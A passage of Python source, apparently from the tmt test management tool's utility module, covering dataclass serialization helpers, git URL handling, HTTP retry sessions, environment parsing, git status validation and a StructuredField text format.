**self.option_kwargs\n                )\n\n        return self._option\n\n\ndef dataclass_field_by_name(cls: Any, name: str) -> 'dataclasses.Field[T]':\n    \"\"\"\n    Return a dataclass/data container field info by the field's name.\n\n    Surprisingly, :py:mod:`dataclasses` package does not have a helper for\n    this. One can iterate over fields, but there's no *public* API for\n    retrieving a field when one knows its name.\n\n    :param cls: a dataclass/data container class whose fields to search.\n    :param name: field name to retrieve.\n    :raises GeneralError: when the field does not exist.\n    \"\"\"\n\n    for field in dataclasses.fields(cls):\n        if field.name == name:\n            return field\n\n    else:\n        raise GeneralError(f\"Could not find field '{name}' in class '{cls.__name__}'.\")\n\n\ndef dataclass_field_metadata(field: 'dataclasses.Field[T]') -> 'FieldMetadata[T]':\n    \"\"\"\n    Return a dataclass/data container field metadata.\n\n    Dataclass fields have a mapping to hold fields' key/value metadata, and to\n    support linters in their job, instead of storing tmt's custom data directly\n    in the mapping, we use a special container to hold metadata we need.\n\n    :param field: a dataclass/container field to retrieve metadata for.\n    :returns: metadata container, either the one attached to the given field\n        or an empty one when field has no metadata.\n    \"\"\"\n\n    return field.metadata.get('tmt', FieldMetadata())\n\n\n@dataclasses.dataclass\nclass DataContainer:\n    \"\"\" A base class for objects that have keys and values \"\"\"\n\n    def to_dict(self) -> Dict[str, Any]:\n        \"\"\"\n        Convert to a mapping.\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n        \"\"\"\n\n        return dataclasses.asdict(self)\n\n    def to_minimal_dict(self) -> Dict[str, Any]:\n        \"\"\"\n        Convert to a mapping with unset keys omitted.\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n        \"\"\"\n\n        return {\n            key: value for key, value in self.to_dict().items() if value is not None\n            }\n\n    # This method should remain a class-method: 1. list of keys is known\n    # already, therefore it's not necessary to create an instance, and\n    # 2. some functionality makes use of this knowledge.\n    @classmethod\n    def keys(cls) -> Generator[str, None, None]:\n        \"\"\" Iterate over key names \"\"\"\n\n        for field in dataclasses.fields(cls):\n            yield field.name\n\n    def values(self) -> Generator[Any, None, None]:\n        \"\"\" Iterate over key values \"\"\"\n\n        yield from self.to_dict().values()\n\n    def items(self) -> Generator[Tuple[str, Any], None, None]:\n        \"\"\" Iterate over key/value pairs \"\"\"\n\n        yield from self.to_dict().items()\n\n    @classmethod\n    def _default(cls, key: str, default: Any = None) -> Any:\n        \"\"\"\n        Return a default value for a given key.\n\n        Keys may have a default value, or a default *factory* has been specified.\n\n        :param key: key to look for.\n        :param default: when key has no default value, ``default`` is returned.\n        :returns: a default value defined for the key, or its ``default_factory``'s\n            return value of ``default_factory``, or ``default`` when key has no\n            default value.\n        \"\"\"\n\n        for field in dataclasses.fields(cls):\n            if key != field.name:\n                continue\n\n            if not isinstance(field.default_factory, dataclasses._MISSING_TYPE):\n                return field.default_factory()\n\n            if not isinstance(field.default, dataclasses._MISSING_TYPE):\n                return field.default\n\n        else:\n            return default\n\n    @property\n    def is_bare(self) -> bool:\n        \"\"\"\n        Check whether all keys are either unset or have their default value.\n\n        :returns: ``True`` if all keys either hold their default value\n            or are not set at all, ``False`` otherwise.\n        \"\"\"\n\n        for field in dataclasses.fields(self):\n            value = getattr(self, field.name)\n\n            if not isinstance(field.default_factory, dataclasses._MISSING_TYPE):\n                if value != field.default_factory():\n                    return False\n\n            elif not isinstance(field.default, dataclasses._MISSING_TYPE):\n                if value != field.default:\n                    return False\n\n            else:\n                pass\n\n        return True\n\n\nSpecBasedContainerT = TypeVar('SpecBasedContainerT', bound='SpecBasedContainer')\n\n\nclass SpecBasedContainer(DataContainer):\n    @classmethod\n    def from_spec(cls: Type[SpecBasedContainerT], spec: Any) -> SpecBasedContainerT:\n        \"\"\"\n        Convert from a specification file or from a CLI option\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n\n        See :py:meth:`to_spec` for its counterpart.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def to_spec(self) -> Dict[str, Any]:\n        \"\"\"\n        Convert to a form suitable for saving in a specification file\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n\n        See :py:meth:`from_spec` for its counterpart.\n        \"\"\"\n\n        return self.to_dict()\n\n    def to_minimal_spec(self) -> Dict[str, Any]:\n        \"\"\"\n        Convert to specification, skip default values\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n\n        See :py:meth:`from_spec` for its counterpart.\n        \"\"\"\n\n        return self.to_minimal_dict()\n\n\nSerializableContainerDerivedType = TypeVar(\n    'SerializableContainerDerivedType',\n    bound='SerializableContainer')\n\n\nSerializeCallback = Callable[[T], Any]\nUnserializeCallback = Callable[[Any], T]\n\n\n@dataclasses.dataclass\nclass SerializableContainer(DataContainer):\n    \"\"\" A mixin class for saving and loading objects \"\"\"\n\n    @classmethod\n    def default(cls, key: str, default: Any = None) -> Any:\n        return cls._default(key, default=default)\n\n    #\n    # Moving data between containers and objects owning them\n    #\n\n    def inject_to(self, obj: Any) -> None:\n        \"\"\"\n        Inject keys from this container into attributes of a given object\n        \"\"\"\n\n        for name, value in self.items():\n            setattr(obj, name, value)\n\n    @classmethod\n    def extract_from(cls: Type[SerializableContainerDerivedType],\n                     obj: Any) -> SerializableContainerDerivedType:\n        \"\"\" Extract keys from given object, and save them in a container \"\"\"\n\n        data = cls()\n\n        for key in cls.keys():\n            value = getattr(obj, key)\n            if value is not None:\n                setattr(data, key, value)\n\n        return data\n\n    #\n    # Serialization - writing containers into YAML files, and restoring\n    # them later.\n    #\n\n    def to_serialized(self) -> Dict[str, Any]:\n        \"\"\"\n        Convert to a form suitable for saving in a file.\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n\n        See :py:meth:`from_serialized` for its counterpart.\n        \"\"\"\n\n        fields = self.to_dict()\n\n        for name in fields.keys():\n            field: dataclasses.Field[Any] = dataclass_field_by_name(self, name)\n            serialize_callback = dataclass_field_metadata(field).serialize_callback\n\n            if serialize_callback:\n                fields[name] = serialize_callback(getattr(self, name))\n\n        # Add a special field tracking what class we just shattered to pieces.\n        fields.update({\n            '__class__': {\n                'module': self.__class__.__module__,\n                'name': self.__class__.__name__\n                }\n            })\n\n        return fields\n\n    @classmethod\n    def from_serialized(\n            cls: Type[SerializableContainerDerivedType],\n            serialized: Dict[str, Any]) -> SerializableContainerDerivedType:\n        \"\"\"\n        Convert from a serialized form loaded from a file.\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n\n        See :py:meth:`to_serialized` for its counterpart.\n        \"\"\"\n\n        # Our special key may or may not be present, depending on who\n        # calls this method.  In any case, it is not needed, because we\n        # already know what class to restore: this one.\n        serialized.pop('__class__', None)\n\n        obj = cls(**serialized)\n\n        for keyname, value in serialized.items():\n            field: dataclasses.Field[Any] = dataclass_field_by_name(obj, keyname)\n            unserialize_callback = dataclass_field_metadata(field).unserialize_callback\n\n            if unserialize_callback:\n                # Set attribute by adding it to __dict__ directly. Messing with setattr()\n                # might cause re-use of mutable values by other instances.\n                obj.__dict__[keyname] = unserialize_callback(value)\n\n        return obj\n\n    # ignore[misc,type-var]: mypy is correct here, method does return a\n    # TypeVar, but there is no way to deduce the actual type, because\n    # the method is static. That's on purpose, method tries to find the\n    # class to unserialize, therefore it's simply unknown. Returning Any\n    # would make mypy happy, but we do know the return value will be\n    # derived from SerializableContainer. We can mention that, and\n    # silence mypy about the missing actual type.\n    @staticmethod\n    def unserialize(\n            serialized: Dict[str, Any]\n            ) -> SerializableContainerDerivedType:  # type: ignore[misc,type-var]\n        \"\"\"\n        Convert from a serialized form loaded from a file.\n\n        Similar to :py:meth:`from_serialized`, but this method knows\n        nothing about container's class, and will locate the correct\n        module and class by inspecting serialized data. Discovered\n        class' :py:meth:`from_serialized` is then used to create the\n        container.\n\n        Used to transform data read from a YAML file into original\n        containers when their classes are not know to the code.\n        Restoring such containers requires inspection of serialized data\n        and dynamic imports of modules as needed.\n\n        See https://tmt.readthedocs.io/en/stable/classes.html#class-conversions for more details.\n\n        See :py:meth:`to_serialized` for its counterpart.\n        \"\"\"\n\n        from tmt.plugins import import_member\n\n        # Unpack class info, to get nicer variable names\n        if \"__class__\" not in serialized:\n            raise GeneralError(\n                \"Failed to load saved state, probably because of old data format.\\n\"\n                \"Use 'tmt clean runs' to clean up old runs.\")\n\n        klass_info = serialized.pop('__class__')\n        klass = import_member(klass_info['module'], klass_info['name'])\n\n        # Stay away from classes that are not derived from this one, to\n        # honor promise given by return value annotation.\n        assert issubclass(klass, SerializableContainer)\n\n        # Apparently, the issubclass() check above is not good enough for mypy.\n        return cast(SerializableContainerDerivedType, klass.from_serialized(serialized))\n\n\ndef markdown_to_html(filename: Path) -> str:\n    \"\"\"\n    Convert markdown to html\n\n    Expects: Markdown document as a file.\n    Returns: An HTML document as a string.\n    \"\"\"\n    try:\n        import markdown\n    except ImportError:\n        raise ConvertError(\"Install tmt-test-convert to export tests.\")\n\n    try:\n        with open(filename, 'r') as file:\n            try:\n                text = file.read()\n            except UnicodeError:\n                raise MetadataError(f\"Unable to read '{filename}'.\")\n            return markdown.markdown(text)\n    except IOError:\n        raise ConvertError(f\"Unable to open '{filename}'.\")\n\n\ndef shell_variables(\n        data: Union[List[str], Tuple[str, ...], Dict[str, Any]]) -> List[str]:\n    \"\"\"\n    Prepare variables to be consumed by shell\n\n    Convert dictionary or list/tuple of key=value pairs to list of\n    key=value pairs where value is quoted with shlex.quote().\n    \"\"\"\n\n    # Convert from list/tuple\n    if isinstance(data, list) or isinstance(data, tuple):\n        converted_data = []\n        for item in data:\n            splitted_item = item.split('=')\n            key = splitted_item[0]\n            value = shlex.quote('='.join(splitted_item[1:]))\n            converted_data.append(f'{key}={value}')\n        return converted_data\n\n    # Convert from dictionary\n    return [f\"{key}={shlex.quote(str(value))}\" for key, value in data.items()]\n\n\ndef duration_to_seconds(duration: str) -> int:\n    \"\"\" Convert sleep time format into seconds \"\"\"\n    units = {\n        's': 1,\n        'm': 60,\n        'h': 60 * 60,\n        'd': 60 * 60 * 24,\n        }\n    try:\n        match = re.match(r'^(\\d+)([smhd]?)$', str(duration))\n        if match is None:\n            raise SpecificationError(f\"Invalid duration '{duration}'.\")\n        number, suffix = match.groups()\n        return int(number) * units.get(suffix, 1)\n    except (ValueError, AttributeError):\n        raise SpecificationError(f\"Invalid duration '{duration}'.\")\n\n\n@overload\ndef verdict(\n        decision: bool,\n        comment: Optional[str] = None,\n        good: str = 'pass',\n        bad: str = 'fail',\n        problem: str = 'warn',\n        **kwargs: Any) -> bool:\n    pass\n\n\n@overload\ndef verdict(\n        decision: None,\n        comment: Optional[str] = None,\n        good: str = 'pass',\n        bad: str = 'fail',\n        problem: str = 'warn',\n        **kwargs: Any) -> None:\n    pass\n\n\ndef verdict(\n        decision: Optional[bool],\n        comment: Optional[str] = None,\n        good: str = 'pass',\n        bad: str = 'fail',\n        problem: str = 'warn',\n        **kwargs: Any) -> Optional[bool]:\n    \"\"\"\n    Print verdict in green, red or yellow based on the decision\n\n    The supported decision values are:\n\n        True .... good (green)\n        False ... bad (red)\n        None .... problem (yellow)\n\n    Anything else raises an exception. Additional arguments\n    are passed to the `echo` function. Returns back the decision.\n    \"\"\"\n\n    if decision is False:\n        text = style(bad, fg='red')\n    elif decision is True:\n        text = style(good, fg='green')\n    elif decision is None:\n        text = style(problem, fg='yellow')\n    else:\n        raise GeneralError(\n            \"Invalid decision value, must be 'True', 'False' or 'None'.\")\n    if comment:\n        text = text + ' ' + comment\n    echo(text, **kwargs)\n    return decision\n\n\nFormatWrap = Literal[True, False, 'auto']\n\n\ndef format(\n        key: str,\n        value: Union[None, bool, str, List[Any], Dict[Any, Any]] = None,\n        indent: int = 24,\n        width: int = 72,\n        wrap: FormatWrap = 'auto',\n        key_color: Optional[str] = 'green',\n        value_color: Optional[str] = 'black') -> str:\n    \"\"\"\n    Nicely format and indent a key-value pair\n\n    The following values for 'wrap' are supported:\n\n        True .... always reformat text and wrap long lines\n        False ... preserve text, no new line changes\n        auto .... wrap only if text contains a long line\n    \"\"\"\n    indent_string = (indent + 1) * ' '\n    # Key\n    output = '{} '.format(str(key).rjust(indent, ' '))\n    if key_color is not None:\n        output = style(output, fg=key_color)\n    # Bool\n    if isinstance(value, bool):\n        output += ('true' if value else 'false')\n    # List\n    elif isinstance(value, list):\n        # Make sure everything is string, prepare list, check for spaces\n        value = [str(item) for item in value]\n        listed_text = fmf.utils.listed(value)\n        has_spaces = any(item.find(' ') > -1 for item in value)\n        # Use listed output only for short lists without spaces\n        if len(listed_text) < width - indent and not has_spaces:\n            output += listed_text\n        # Otherwise just place each item on a new line\n        else:\n            output += ('\\n' + indent_string).join(value)\n    # Dictionary\n    elif isinstance(value, dict):\n        # Place each key value pair on a separate line\n        output += ('\\n' + indent_string).join(\n            f'{item[0]}: {item[1]}' for item in value.items())\n    # Text\n    elif isinstance(value, str):\n        # In 'auto' mode enable wrapping when long lines present\n        if wrap == 'auto':\n            wrap = any(len(line) + indent - 7 > width for line in value.split('\\n'))\n        if wrap:\n            output += (wrap_text(\n                value, width=width,\n                preserve_paragraphs=True,\n                initial_indent=indent_string,\n                subsequent_indent=indent_string).lstrip())\n        else:\n            output += (('\\n' + indent_string).join(\n                value.rstrip().split('\\n')))\n    else:\n        output += str(value)\n    return output\n\n\ndef create_directory(\n        path: Path,\n        name: str,\n        dry: bool = False,\n        quiet: bool = False) -> None:\n    \"\"\" Create a new directory, handle errors \"\"\"\n    say = log.debug if quiet else echo\n    if path.is_dir():\n        say(\"Directory '{}' already exists.\".format(path))\n        return\n    if dry:\n        say(\"Directory '{}' would be created.\".format(path))\n        return\n    try:\n        path.mkdir(exist_ok=True, parents=True)\n        say(\"Directory '{}' created.\".format(path))\n    except OSError as error:\n        raise FileError(\"Failed to create {} '{}' ({})\".format(\n            name, path, error)) from error\n\n\ndef create_file(\n        path: Path,\n        content: str,\n        name: str,\n        dry: bool = False,\n        force: bool = False,\n        mode: int = 0o664,\n        quiet: bool = False) -> None:\n    \"\"\" Create a new file, handle errors \"\"\"\n    say = log.debug if quiet else echo\n    action = 'would be created' if dry else 'created'\n    if path.exists():\n        if force:\n            action = 'would be overwritten' if dry else 'overwritten'\n        else:\n            raise FileError(\"File '{}' already exists.\".format(path))\n\n    if dry:\n        say(\"{} '{}' {}.\".format(name.capitalize(), path, action))\n        return\n\n    try:\n        path.write_text(content)\n        say(\"{} '{}' {}.\".format(name.capitalize(), path, action))\n        path.chmod(mode)\n    except OSError as error:\n        raise FileError(\"Failed to create {} '{}' ({})\".format(\n            name, path, error))\n\n\n# Avoid multiple subprocess calls for the same url\n@lru_cache(maxsize=None)\ndef check_git_url(url: str) -> str:\n    \"\"\" Check that a remote git url is accessible \"\"\"\n    try:\n        log.debug(f\"Check git url '{url}'.\")\n        subprocess.check_call(\n            [\"git\", \"ls-remote\", \"--heads\", url],\n            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n            env={\"GIT_ASKPASS\": \"echo\", \"GIT_TERMINAL_PROMPT\": \"0\"})\n        return url\n    except subprocess.CalledProcessError:\n        raise GitUrlError(f\"Unable to contact remote git via '{url}'.\")\n\n\ndef public_git_url(url: str) -> str:\n    \"\"\"\n    Convert a git url into a public format\n\n    Return url in the format which can be accessed without\n    authentication. For now just cover the most common services.\n    \"\"\"\n\n    # GitHub, GitLab\n    # old: git@github.com:teemtee/tmt.git\n    # new: https://github.com/teemtee/tmt.git\n    matched = re.match('git@(.*):(.*)', url)\n    if matched:\n        host, project = matched.groups()\n        return f'https://{host}/{project}'\n\n    # RHEL packages\n    # old: git+ssh://psplicha@pkgs.devel.redhat.com/tests/bash\n    # old: ssh://psplicha@pkgs.devel.redhat.com/tests/bash\n    # old: ssh://pkgs.devel.redhat.com/tests/bash\n    # new: git://pkgs.devel.redhat.com/tests/bash\n    matched = re.match(\n        r'(git\\+)?ssh://(\\w+@)?(pkgs\\.devel\\.redhat\\.com)/(.*)', url)\n    if matched:\n        _, _, host, project = matched.groups()\n        return f'git://{host}/{project}'\n\n    # Fedora packages, Pagure\n    # old: git+ssh://psss@pkgs.fedoraproject.org/tests/shell\n    # old: ssh://psss@pkgs.fedoraproject.org/tests/shell\n    # new: https://pkgs.fedoraproject.org/tests/shell\n    matched = re.match(r'(git\\+)?ssh://(\\w+@)?([^/]*)/(.*)', url)\n    if matched:\n        _, _, host, project = matched.groups()\n        return f'https://{host}/{project}'\n\n    # Otherwise return unmodified\n    return url\n\n\ndef web_git_url(url: str, ref: str, path: Optional[Path] = None) -> str:\n    \"\"\"\n    Convert a public git url into a clickable web url format\n\n    Compose a clickable link from git url, ref and path to file\n    for the most common git servers.\n    \"\"\"\n    if path:\n        path = Path(urllib.parse.quote_plus(str(path), safe=\"/\"))\n\n    # Special handling for pkgs.devel (ref at the end)\n    if 'pkgs.devel' in url:\n        url = url.replace('git://', 'https://').replace('.com', '.com/cgit')\n        url += '/tree'\n        if path:\n            url += str(path)\n        url += f'?h={ref}'\n        return url\n\n    # GitHub & GitLab\n    if any(server in url for server in ['github', 'gitlab']):\n        url = url.replace('.git', '').rstrip('/')\n        url += f'/tree/{ref}'\n\n    if path:\n        url += str(path)\n\n    return url\n\n\n@lru_cache(maxsize=None)\ndef fmf_id(name: str, fmf_root: Path, always_get_ref: bool = False) -> 'tmt.base.FmfId':\n    \"\"\" Return full fmf identifier of the node \"\"\"\n\n    def run(command: str) -> str:\n        \"\"\" Run command, return output \"\"\"\n        cwd = fmf_root\n        result = subprocess.run(\n            command.split(),\n            stdout=subprocess.PIPE,\n            stderr=subprocess.DEVNULL,\n            cwd=cwd)\n        return result.stdout.strip().decode(\"utf-8\")\n\n    from tmt.base import FmfId\n\n    fmf_id = FmfId(name=name)\n\n    # Prepare url (for now handle just the most common schemas)\n    branch = run(\"git rev-parse --abbrev-ref --symbolic-full-name @{u}\")\n    try:\n        remote_name = branch[:branch.index('/')]\n    except ValueError:\n        remote_name = 'origin'\n    remote = run(f\"git config --get remote.{remote_name}.url\")\n    fmf_id.url = public_git_url(remote)\n\n    # Construct path (if different from git root)\n    git_root = Path(run('git rev-parse --show-toplevel'))\n    if git_root.resolve() != fmf_root.resolve():\n        fmf_id.path = Path('/') / fmf_root.relative_to(git_root)\n\n    # Get the ref (skip for the default)\n    ref = run('git rev-parse --abbrev-ref HEAD')\n    def_branch = default_branch(git_root)\n    if ref != def_branch or always_get_ref:\n        fmf_id.ref = ref\n\n    return fmf_id\n\n\nclass TimeoutHTTPAdapter(requests.adapters.HTTPAdapter):\n    \"\"\"\n    Spice up request's session with custom timeout.\n    \"\"\"\n\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        self.timeout = kwargs.pop('timeout', None)\n\n        super().__init__(*args, **kwargs)\n\n    # ignore[override]: signature does not match superclass on purpose.\n    # send() does declare plenty of parameters we do not care about.\n    def send(  # type: ignore[override]\n            self,\n            request: requests.PreparedRequest,\n            **kwargs: Any) -> requests.Response:\n        kwargs.setdefault('timeout', self.timeout)\n\n        return super().send(request, **kwargs)\n\n\n# ignore[misc]: the package *does* exist, and Retry class as well, it's\n# somehow opaque to mypy.\nclass RetryStrategy(requests.packages.urllib3.util.retry.Retry):  # type: ignore[misc]\n    def increment(\n            self,\n            *args: Any,\n            **kwargs: Any\n            ) -> requests.packages.urllib3.util.retry.Retry:\n        error = cast(Optional[Exception], kwargs.get('error', None))\n\n        # Detect a subset of exception we do not want to follow with a retry.\n        if error is not None:\n            # Failed certificate verification - this issue will probably not get any better\n            # should we try again.\n            if isinstance(error, urllib3.exceptions.SSLError) \\\n                    and 'certificate verify failed' in str(error):\n\n                # [mpr] I'm not sure how stable this *iternal* API is, but pool seems to be the\n                # only place aware of the remote hostname. Try our best to get the hostname for\n                # a better error message, but don't crash because of a missing attribute or\n                # something as dumb.\n\n                connection_pool = kwargs.get('_pool', None)\n\n                if connection_pool is not None and hasattr(connection_pool, 'host'):\n                    message = f\"Certificate verify failed for '{connection_pool.host}'.\"\n                else:\n                    message = 'Certificate verify failed.'\n\n                raise GeneralError(message) from error\n\n        return super().increment(*args, **kwargs)\n\n\n# ignore[type-arg]: base class is a generic class, but we cannot list\n# its parameter type, because in Python 3.6 the class \"is not subscriptable\".\nclass retry_session(contextlib.AbstractContextManager):  # type: ignore[type-arg]\n    \"\"\"\n    Context manager for requests.Session() with retries and timeout\n    \"\"\"\n    @staticmethod\n    def create(\n            retries: int = DEFAULT_RETRY_SESSION_RETRIES,\n            backoff_factor: float = DEFAULT_RETRY_SESSION_BACKOFF_FACTOR,\n            allowed_methods: Optional[Tuple[str, ...]] = None,\n            status_forcelist: Optional[Tuple[int, ...]] = None,\n            timeout: Optional[int] = None\n            ) -> requests.Session:\n        retry_strategy = RetryStrategy(\n            total=retries,\n            status_forcelist=status_forcelist,\n            # `method_whitelist`` has been renamed to `allowed_methods` since\n            # urllib3 1.26, and it will be removed in urllib3 2.0.\n            # `allowed_methods` is therefore the future-proof name, but for the\n            # sake of backward compatibility, internally we need to use the\n            # deprecated parameter for now. Or request newer urllib3, but that\n            # might a problem because of RPM availability.\n            method_whitelist=allowed_methods,\n            backoff_factor=backoff_factor)\n\n        if timeout is not None:\n            http_adapter: requests.adapters.HTTPAdapter = TimeoutHTTPAdapter(\n                timeout=timeout, max_retries=retry_strategy)\n        else:\n            http_adapter = requests.adapters.HTTPAdapter(\n                max_retries=retry_strategy)\n\n        session = requests.Session()\n        session.mount('http://', http_adapter)\n        session.mount('https://', http_adapter)\n\n        return session\n\n    def __init__(\n            self,\n            retries: int = DEFAULT_RETRY_SESSION_RETRIES,\n            backoff_factor: float = DEFAULT_RETRY_SESSION_BACKOFF_FACTOR,\n            allowed_methods: Optional[Tuple[str, ...]] = None,\n            status_forcelist: Optional[Tuple[int, ...]] = None,\n            timeout: Optional[int] = None\n            ) -> None:\n        self.retries = retries\n        self.backoff_factor = backoff_factor\n        self.allowed_methods = allowed_methods\n        self.status_forcelist = status_forcelist\n        self.timeout = timeout\n\n    def __enter__(self) -> requests.Session:\n        return self.create(\n            retries=self.retries,\n            backoff_factor=self.backoff_factor,\n            allowed_methods=self.allowed_methods,\n            status_forcelist=self.status_forcelist,\n            timeout=self.timeout)\n\n    def __exit__(self, *args: Any) -> None:\n        pass\n\n\ndef remove_color(text: str) -> str:\n    \"\"\" Remove ansi color sequences from the string \"\"\"\n    return re.sub(r'\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])', '', text)\n\n\ndef default_branch(repository: Path, remote: str = 'origin') -> str:\n    \"\"\" Detect default branch from given local git repository \"\"\"\n    head = repository / f'.git/refs/remotes/{remote}/HEAD'\n    # Make sure the HEAD reference is available\n    if not head.exists():\n        subprocess.run(\n            f'git remote set-head {remote} --auto'.split(), cwd=repository)\n    # The ref format is 'ref: refs/remotes/origin/main'\n    with open(head) as ref:\n        return ref.read().strip().split('/')[-1]\n\n\ndef parse_dotenv(content: str) -> EnvironmentType:\n    \"\"\" Parse dotenv (shell) format of variables \"\"\"\n    return dict([line.split(\"=\", maxsplit=1)\n                for line in shlex.split(content, comments=True)])\n\n\ndef parse_yaml(content: str) -> EnvironmentType:\n    \"\"\" Parse variables from yaml, ensure flat dictionary format \"\"\"\n    yaml_as_dict = YAML(typ=\"safe\").load(content)\n    # Handle empty file as an empty environment\n    if yaml_as_dict is None:\n        return dict()\n    if any(isinstance(val, dict) for val in yaml_as_dict.values()):\n        raise GeneralError(\n            \"Can't set the environment from the nested yaml config. The \"\n            \"config should be just key, value pairs.\")\n    return {key: str(value) for key, value in yaml_as_dict.items()}\n\n\ndef validate_git_status(test: 'tmt.base.Test') -> Tuple[bool, str]:\n    \"\"\"\n    Validate that test has current metadata on fmf_id\n\n    Return a tuple (boolean, message) as the result of validation.\n\n    Checks that sources:\n    - all local changes are committed\n    - up to date on remote repository\n    - .fmf/version marking fmf root is committed as well\n\n    When all checks pass returns (True, '').\n    \"\"\"\n    sources = test.node.sources + \\\n        [os.path.join(test.node.root, '.fmf', 'version')]\n\n    # Use tmt's run instead of subprocess.run\n    run = Common(logger=test._logger).run\n\n    # Check for not committed metadata changes\n    cmd = Command(\n        'git',\n        'status', '--porcelain',\n        '--',\n        *sources\n        )\n    try:\n        result = run(cmd, cwd=Path(test.node.root), join=True)\n    except RunError as error:\n        return (\n            False,\n            f\"Failed to run git status: {error.stdout}\"\n            )\n\n    not_committed = []\n    assert result.stdout is not None\n    for line in result.stdout.split('\\n'):\n        if line:\n            # XY PATH or XY ORIG -> PATH. XY and PATH are separated by space\n            not_committed.append(line[3:])\n\n    if not_committed:\n        return (False, \"Uncommitted changes in \" + \" \".join(not_committed))\n\n    # Check for not pushed changes\n    cmd = Command(\"git\", \"rev-parse\", \"--abbrev-ref\", \"--symbolic-full-name\", \"@{u}\")\n    try:\n        result = run(cmd, cwd=Path(test.node.root))\n    except RunError as error:\n        return (\n            False,\n            f'Failed to get remote branch, error raised: \"{error.stderr}\"'\n            )\n\n    assert result.stdout is not None\n    remote_ref = result.stdout.strip()\n\n    cmd = Command(\n        'git',\n        'diff',\n        f'HEAD..{remote_ref}',\n        '--name-status',\n        '--',\n        *sources\n        )\n    try:\n        result = run(cmd, cwd=Path(test.node.root))\n    except RunError as error:\n        return (\n            False,\n            f'Failed to diff against remote branch, error raised: \"{error.stderr}\"')\n\n    not_pushed = []\n    assert result.stdout is not None\n    for line in result.stdout.split('\\n'):\n        if line:\n            _, path = line.strip().split('\\t', maxsplit=2)\n            not_pushed.append(path)\n    if not_pushed:\n        return (False, \"Not pushed changes in \" + \" \".join(not_pushed))\n\n    return (True, '')\n\n\ndef generate_runs(\n        path: Path,\n        id_: Optional[str] = None) -> Generator[Path, None, None]:\n    \"\"\" Generate absolute paths to runs from path \"\"\"\n    # Prepare absolute workdir path if --id was used\n    if id_:\n        run_path = Path(id_)\n        if '/' not in id_:\n            run_path = path / run_path\n        if run_path.is_absolute():\n            if run_path.exists():\n                yield run_path\n            return\n    if not path.exists():\n        return\n    for childpath in path.iterdir():\n        abs_child_path = childpath.absolute()\n        # If id_ is None, the abs_path is considered valid (no filtering\n        # is being applied). If it is defined, it has been transformed\n        # to absolute path and must be equal to abs_path for the run\n        # in abs_path to be generated.\n        invalid_id = id_ and str(abs_child_path) != id_\n        invalid_run = not abs_child_path.joinpath('run.yaml').exists()\n        if not abs_child_path.is_dir() or invalid_id or invalid_run:\n            continue\n        yield abs_child_path\n\n\ndef load_run(run: 'tmt.base.Run') -> Tuple[bool, Optional[Exception]]:\n    \"\"\" Load a run and its steps from the workdir \"\"\"\n    try:\n        run.load_from_workdir()\n    except GeneralError as error:\n        return False, error\n    for plan in run.plans:\n        for step in plan.steps(disabled=True):\n            step.load()\n    return True, None\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#  StructuredField\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSFSectionValueType = Union[str, List[str]]\n\n\nclass StructuredField:\n    \"\"\"\n    Handling multiple text data in a single text field\n\n    The StructuredField allows you to easily store and extract several\n    sections of text data to/from a single text field. The sections are\n    separated by section names in square brackets and can be hosted in\n    other text as well.\n\n    The section names have to be provided on a separate line and there\n    must be no leading/trailing white space before/after the brackets.\n    The StructuredField supports two versions of the format:\n\n    Version 0: Simple, concise, useful when neither the surrounding text\n    or the section data can contain lines which could resemble section\n    names. Here's an example of a simple StructuredField::\n\n        Note written by human.\n\n        [section-one]\n        Section one content.\n\n        [section-two]\n        Section two content.\n\n        [section-three]\n        Section three content.\n\n        [end]\n\n        Another note written by human.\n\n    Version 1: Includes unique header to prevent collisions with the\n    surrounding text and escapes any section-like lines in the content::\n\n        Note written by human.\n\n        [structured-field-start]\n        This is StructuredField version 1. Please, edit with care.\n\n        [section-one]\n        Section one content.\n\n        [section-two]\n        Section two content.\n        [structured-field-escape][something-resembling-section-name]\n\n        [section-three]\n        Section three content.\n\n        [structured-field-end]\n\n        Another note written by human.\n\n    Note that an additional empty line is added at the end of each\n    section to improve the readability. This line is not considered\n    to be part of the section content.\n\n    Besides handling the whole section content it's also possible to\n    store several key-value pairs in a single section, similarly as in\n    the ini config format::\n\n        [section]\n        key1 = value1\n        key2 = value2\n        key3 = value3\n\n    Provide the key name as the optional argument 'item' when accessing\n    these single-line items. Note that the section cannot contain both\n    plain text data and key-value pairs.\n\n    Example::\n\n        field = qe.StructuredField()\n        field.set(\"project\", \"Project Name\")\n        field.set(\"details\", \"somebody\", \"owner\")\n        field.set(\"details\", \"2013-05-27\", \"started\")\n        field.set(\"description\", \"This is a description.\\\\n\"\n                \"It spans across multiple lines.\\\\n\")\n        print field.save()\n\n            [structured-field-start]\n            This is StructuredField version 1. Please, edit with care.\n\n            [project]\n            Project Name\n\n            [details]\n            owner = somebody\n            started = 2013-05-27\n\n            [description]\n            This is a description.\n            It spans across multiple lines.\n\n            [structured-field-end]\n\n        field.version(0)\n        print field.save()\n\n            [project]\n            Project Name\n\n            [details]\n            owner = somebody\n            started = 2013-05-27\n\n            [description]\n            This is a description.\n            It spans across multiple lines.\n\n            [end]\n\n    Multiple values for the same key are supported as well. Enable this\n    feature with 'multi=True' when initializing the structured field.\n    If multiple values are present their list will be returned instead\n    of a single string. Similarly use list for setting multiple values::\n\n        field = qe.StructuredField(multi=True)\n        requirements = ['hypervisor=', 'labcontroller=lab.example.com']\n        field.set(\"hardware\", requirements, \"hostrequire\")\n        print field.save()\n\n            [structured-field-start]\n            This is StructuredField version 1. Please, edit with 